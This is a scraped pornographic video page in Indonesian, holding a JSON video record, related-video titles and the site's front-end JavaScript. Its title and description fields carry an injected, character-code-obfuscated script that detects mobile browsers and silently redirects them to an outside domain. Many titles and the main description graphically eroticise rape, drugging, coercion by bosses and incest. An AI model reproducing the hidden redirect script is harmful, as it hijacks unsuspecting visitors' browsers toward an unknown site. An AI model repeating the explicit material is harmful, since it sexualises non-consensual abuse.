</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>ALDN-357-C Kaki saya lemas karena diejakulasi di dalam oleh bos saya, saya tidak bisa meninggalkan perusahaan.</title></script></title></script>
ALDN-357-C Kaki saya lemas karena diejakulasi di dalam oleh bos saya, saya tidak bisa meninggalkan perusahaan.","site_id":0,"video_url":"https://2605.fhbbff.com/20260702/Amlr5zlZ/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZGZhMjNmYjNjZjIzODA1ZGNkODk3YTAyZTA5NTFhYjcuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"8.0","view_count":527,"description":"Dia adalah wanita kantoran yang paling cantik dan sudah menikah di perusahaan itu, selalu mengenakan rok ketat dan stoking hitam, payudaranya yang besar hampir meledak dari bajunya. Bosnya sudah lama mengincarnya, menggunakan alasan lembur untuk menjepitnya di mejanya dan tanpa henti menidurinya. Dari posisi doggy style hingga menunggangi dan ejakulasi di wajah, kemaluannya yang nakal disembur cairan, air mani menetes dari pahanya ke karpet. Awalnya, dia berpura-pura melawan, tetapi setelah mengalami hubungan seks yang intens setiap hari, dia benar-benar menyerah—bukan karena bayarannya, tetapi karena dia tidak bisa hidup tanpa penis besar yang memberinya ekstasi. Sekarang, dia selalu secara sukarela tinggal lembur, menunggu bosnya untuk memuaskan hasrat seksualnya.","tag":["sedang berada di","oleh bos","bos","Injeksi","Kaki terasa lemah","perusahaan"],"site_url":"228871","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZGZhMjNmYjNjZjIzODA1ZGNkODk3YTAyZTA5NTFhYjcuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"ALDN-357-C 被上司内射到腿软,离不开公司","s_keywords":"ALDN-357-C 被上司内射到腿软,离不开公司","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}ALDN-357-C Kaki saya lemas karena diejakulasi di dalam oleh bos saya, saya tidak bisa meninggalkan perusahaan.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjExYWM3NjNjYmY0YzNhMDQxMDZlNzdmMDQ2ZDBjN2UuanBn.cache","vod_id":19104269,"title":"Wanita cantik, ahh, sangat enak, bercinta dengan ayahku sampai mati, tubuh langsing, kaki panjang, bercinta sampai dia aktif memanggil ayahku, seks tanpa peng","lastmod":"2025-03-29","duration":"","url":"/play/19104269.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjMxODYwYmRjZTQ4NWQ4ZjQ2Njk5M2ZhOWExYTA5MjcuanBn.cache","vod_id":19138405,"title":"SDJS-042 \"Apakah kamu yakin ingin aku menjadi yang pertama bagimu?\" Aku akan mewujudkan impian setiap perawan. Empat adegan mengharukan mencuri kesucian seorang perawan. Karyawan wanita paling baik hati dalam sejarah SOD. Ini tahun pertamanya di perusahaan. Asami Yoshioka","lastmod":"2025-03-29","duration":"02:19:54","url":"/play/19138405.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2Y5OTA2MTczN2JlY2RkYTRmNzRlNzMzOGRhNDRlZGIuanBn.cache","vod_id":19233694,"title":"Eksklusif banget! Tubuh cabul Mizuno Nanaka diperkosa dan dikencingi secara brutal sampai dia kehilangan kesadaran.","lastmod":"2026-05-09","duration":"1:45:04","url":"/play/19233694.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzRmNGI2YjcwZjgwMWJhZTVkNmE4MTJlZWM1OGVhYjIuanBn.cache","vod_id":19155259,"title":"JUL-813 Seorang bos wanita yang arogan, yang ingin membalas dendam atas pelecehan seksual suaminya, dikenai hukuman berupa dildo bergetar dan dipaksa untuk meminta maaf. Seorang istri yang mengalami ekstasi yang tak tertandingi – Ayase Maiko.","lastmod":"2025-03-29","duration":"02:15:36","url":"/play/19155259.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDZjNjM2MTk3OTRlMzcxMzhiZWI0NmViYzU0Y2YyYTYuanBn.cache","vod_id":19111967,"title":"[Wu Mengmeng] Seorang wanita menikah bertubuh montok dan mengenakan stoking hitam dibius dan diperkosa tanpa kondom oleh bosnya saat dalam perjalanan bisnis. Dia dipaksa menjadi wanita yang tunduk, dan saat diperkosa, dia berbicara dengan suaminya di telepon.","lastmod":"2025-03-29","duration":"39:20","url":"/play/19111967.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvN2FlZTFmMzA0NTQ4NjZhNTMyOGZmZmFjZTI4NTNkZmYuanBn.cache","vod_id":19220279,"title":"JDKR022 Pijat minyak esensial amatir di rumah, gadis muda berkualitas tinggi dengan payudara besar, telanjang, pijat minyak, kemaluannya basah kuyup dan dia diperkosa secara brutal sampai dia ejakulasi di dalam.","lastmod":"2026-03-05","duration":"0:45:33","url":"/play/19220279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTM1NjQxZmEwYzk0NWUxYWM5MmExMWJlMjBhNzA4YzguanBn.cache","vod_id":19067503,"title":"[2022-01-27] Sepupu saya yang berusia 28 tahun mengenakan cheongsam belum berhubungan seks selama lebih dari sebulan, dan saya berejakulasi di dalam vaginanya, aliran spermanya sangat indah.","lastmod":"2025-03-28","duration":"00:18:42","url":"/play/19067503.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODI1OGY2NGJkYmU1YzViMTljMmMxMjBiNzAyMWFjYzEuanBn.cache","vod_id":19106329,"title":"Putri Tingbao, putrinya sedang flu dan diberi suntikan anti-seks, tubuh yang indah, menusuk ke dalam vagina harimau putih yang lembut dan ketat, kontras dengan etika inses ayah-anak perempuan - video ejakulasi tanpa perlindungan","lastmod":"2025-03-29","duration":"","url":"/play/19106329.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTM0YzI3Nzk4MTgwMDQxYmY5ODg0OGI2MTUwYmM0NWQuanBn.cache","vod_id":19064848,"title":"Tokyo Hot n0625 Seorang wanita yang ketakutan diperkosa beramai-ramai dan sperma dikeluarkan di dalam dirinya.","lastmod":"2025-03-28","duration":"01:53:52","url":"/play/19064848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTJiNTJhOWU5NmFmNThkYWUzN2M2MjIxMzM3YTQyZGMuanBn.cache","vod_id":19230010,"title":"ATID-620-C Seorang wanita yang sudah menikah bernama Nagano Suzu, karena takut ayahnya akan mengetahuinya, mengalami penetrasi intens dan ejakulasi internal, hingga mencapai orgasme.","lastmod":"2026-04-19","duration":"2:18:15","url":"/play/19230010.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZmU0YmE1OTg3OWM5ZmUxZTFjMjI3ZWFiM2MxYWYzNGIuanBn.cache","vod_id":19224282,"title":"Si jalang kecil yang sangat nakal, ketiga titiknya berwarna merah muda, vaginanya ditusuk dan dibanjiri hingga orgasme oleh penis raksasa.","lastmod":"2026-03-28","duration":"0:39:59","url":"/play/19224282.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTNhZDhhZTIzZDNkYjFhY2I4YjMxMmQxYjcyMDQ5Y2QuanBn.cache","vod_id":19216637,"title":"Shin-chan Akari mengalami beberapa ejakulasi internal dan orgasme terus-menerus! WAAA-549","lastmod":"2026-02-07","duration":"2:03:41","url":"/play/19216637.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNGJhOTlmYjI3MjI3ZDM4NTUzYTVhNzk3OWI5ZDBkM2MuanBn.cache","vod_id":19222834,"title":"Teknisi wanita seksi kelas atas diperkosa secara brutal oleh Presiden Qin; kisah nyata tentang pria pilihan utama rumah bordil yang mengalami ejakulasi di dalam dirinya.","lastmod":"2026-03-19","duration":"0:35:03","url":"/play/19222834.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWUwYzQ0NjMxNzU4Njk3OWFjMzJlYzJiNWFlMDY5MGEuanBn.cache","vod_id":19223504,"title":"Rahasia pasangan muda Korea Selatan terbongkar: Vagina lembut yang indah disetubuhi secara liar, penetrasi ganda, dan klimaks ejakulasi internal.","lastmod":"2026-03-23","duration":"0:19:35","url":"/play/19223504.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTMvN2Y4ZDlkOTg2NjRjZDliMmMzMDEyNGIxMGU3MzFiMTkuanBn.cache","vod_id":19194229,"title":"Bos saya sedang mabuk, dan istrinya menggunakan payudaranya yang besar dan seks oral untuk merayu saya. - Yumeno Aika SONE497","lastmod":"2025-09-12","duration":"02:01:23","url":"/play/19194229.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODEzZjRjMzRkNjNlMzRmZGUzZmNkY2NhZGVjYzVmYjQuanBn.cache","vod_id":19231094,"title":"Debut Chonggong Nami, wanita yang sudah menikah! Payudara besar dan pinggang rampingnya diperkosa dan dikencingi secara brutal oleh pria berotot, menghasilkan orgasme berkali-kali!","lastmod":"2026-04-26","duration":"2:47:17","url":"/play/19231094.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvNGQzMTc3ZmNmYWUzYjgzYzUzYTA0YTM5NjI2NWY2MTkuanBn.cache","vod_id":19244334,"title":"MD0190-6 Wajah Su Chang tertutupi air mani putih setelah diejakulasi di wajahnya, sebuah kenang-kenangan lengket untuk koleksinya.","lastmod":"2026-07-08","duration":"","url":"/play/19244334.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvYmNiYjUzMWZmMWE2NzQ1MTdiYzc3OTRhNDBmZTg0MGYuanBn.cache","vod_id":19247179,"title":"Pramuniaga pakaian dalam bertelanjang dada dan berpayudara besar menawarkan layanan di rumah; bos memaksa karyawan baru untuk berhubungan seks dan ejakulasi di dalam, dengan imbalan diskon.","lastmod":"2026-07-18","duration":"","url":"/play/19247179.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMGZkY2RmYzBkNzE5NGFkYTQzZDdkNzlmZDY5MTczNzUuanBn.cache","vod_id":19229634,"title":"MVSD-550-C Si jenius akademis yang penyendiri, Igarashi Seika, diperkosa secara brutal dan diejakulasi di dalam! Dia mencapai klimaks, kehilangan kendali atas kandung kemihnya, dan memohon ampun, lalu menjadi seorang pelacur.","lastmod":"2026-04-17","duration":"2:21:12","url":"/play/19229634.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOWRhNmY3NTUwNWI2NjFjYjczMjYzOTM1OWU2ODE2MDkuanBn.cache","vod_id":19220275,"title":"KV-261 Guru wanita bertubuh seksi papan atas Rina Masako: Dot bayi berubah menjadi penis, adegan seks intens di kelas dan rekaman ejakulasi","lastmod":"2026-03-05","duration":"2:19:16","url":"/play/19220275.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjMwMDAxNDZhMTE3NDI1NjFlYmM2YzNhNzMyZGM2NDIuanBn.cache","vod_id":19036650,"title":"300NTK-316 Gadis Yankees cantik dengan payudara ukuran G!! Penis mentah adalah yang terbaik!! Terutama ejakulasi internal yang intens di malam hari","lastmod":"2025-03-28","duration":"00:53:26","url":"/play/19036650.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvMThmZDQxYjRjNmRlMzkzOWU1OTU5YzU3YTI3NGEzOWYuanBn.cache","vod_id":19247188,"title":"Himari Kosaka ketagihan! Pacar ibunya menidurinya dengan kasar saat ibunya tidak di rumah, mengeluarkan sperma di dalam dirinya sampai dia mengalami orgasme yang luar biasa!","lastmod":"2026-07-18","duration":"","url":"/play/19247188.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWE4MjQzODFmNTdhNjc5NzNiMmY3YzU3OGI5N2RjOGQuanBn.cache","vod_id":19056446,"title":"(Pemerkosaan terhadap gadis kulit putih Eropa) Membawa kejayaan bagi negara, hubungan seks tanpa peng","lastmod":"2025-03-28","duration":"","url":"/play/19056446.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzUxNjYwNTY2OWY2OTI5YmU5MGJjY2VlYzIwMjZhNjAuanBn.cache","vod_id":19233853,"title":"Saudari tiri perempuan sedang berjemur ketika anak tirinya mengikutinya dan secara paksa menelanjangi pakaiannya lalu memperkosanya di tempat terbuka, dan mengeluarkan sperma di dalam dirinya.","lastmod":"2026-05-10","duration":"0:14:41","url":"/play/19233853.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>ALDN-357-C Kaki saya lemas karena diejakulasi di dalam oleh bos saya, saya tidak bisa meninggalkan perusahaan.</title></script></title></script>',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}